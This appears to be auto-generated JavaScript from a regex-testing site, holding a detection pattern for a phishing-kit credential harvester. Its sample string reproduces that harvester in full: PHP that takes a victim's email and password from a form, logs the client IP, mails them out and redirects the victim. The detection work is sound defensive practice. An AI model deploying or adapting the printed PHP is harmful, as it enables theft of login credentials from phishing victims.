const regex = /^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*\$ip\s*=\s*getenv\(['"]REMOTE_ADDR["']\);(\s*\$\w+\s*\.=\s*).{0,90}?\$_POST\[["']up_email["']\]\."\\n";\s*\1['"]\s*Password.{0,50}?\1['"]confirm\s*password.{0,90}?\1['"]\-+created\s*by\s*burhan\-+\\n["'];\s*include\s*["']email\.php.{0,50}?mail\([^;]+;\s*header\s*\(['"]location:\s*\w+.php\?email=\$email(?:[^>]+>\s*)?$/gis;
// Alternative syntax using RegExp constructor
// const regex = new RegExp('^(?:[[:^print:][:cntrl:]\\s]|GIF89.{0,20})*<\\?(?:php)?\\s*\\$ip\\s*=\\s*getenv\\([\'"]REMOTE_ADDR["\']\\);(\\s*\\$\\w+\\s*\\.=\\s*).{0,90}?\\$_POST\\[["\']up_email["\']\\]\\."\\\\n";\\s*\\1[\'"]\\s*Password.{0,50}?\\1[\'"]confirm\\s*password.{0,90}?\\1[\'"]\\-+created\\s*by\\s*burhan\\-+\\\\n["\'];\\s*include\\s*["\']email\\.php.{0,50}?mail\\([^;]+;\\s*header\\s*\\([\'"]location:\\s*\\w+.php\\?email=\\$email(?:[^>]+>\\s*)?$', 'gis')
const str = `<?
\$ip = getenv("REMOTE_ADDR");
\$message .= "--------------New Login--------\\n";
\$message .= "Email-ID : ".\$_POST['up_email']."\\n";
\$message .= " Password : ".\$_POST['up__X_PASSWORD']."\\n";
\$message .= "confirm password : ".\$_POST['Password']."\\n";
\$message .= "Client IP : ".\$ip."\\n";
\$message .= "---------------Created BY Burhan-----------\\n";
include 'email.php';
\$subject = "--New Log \$ip ";
mail(\$to,\$subject,\$message,\$headers);
header ("Location: incorrect.php?email=\$email".\$_POST['up_email']);
?>`;
// Reset `lastIndex` if this regex is defined globally
// regex.lastIndex = 0;
let m;
while ((m = regex.exec(str)) !== null) {
// This is necessary to avoid infinite loops with zero-width matches
if (m.index === regex.lastIndex) {
regex.lastIndex++;
}
// The result can be accessed through the `m`-variable.
m.forEach((match, groupIndex) => {
console.log(`Found match, group ${groupIndex}: ${match}`);
});
}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for JavaScript, please visit: https://developer.mozilla.org/en/docs/Web/JavaScript/Guide/Regular_Expressions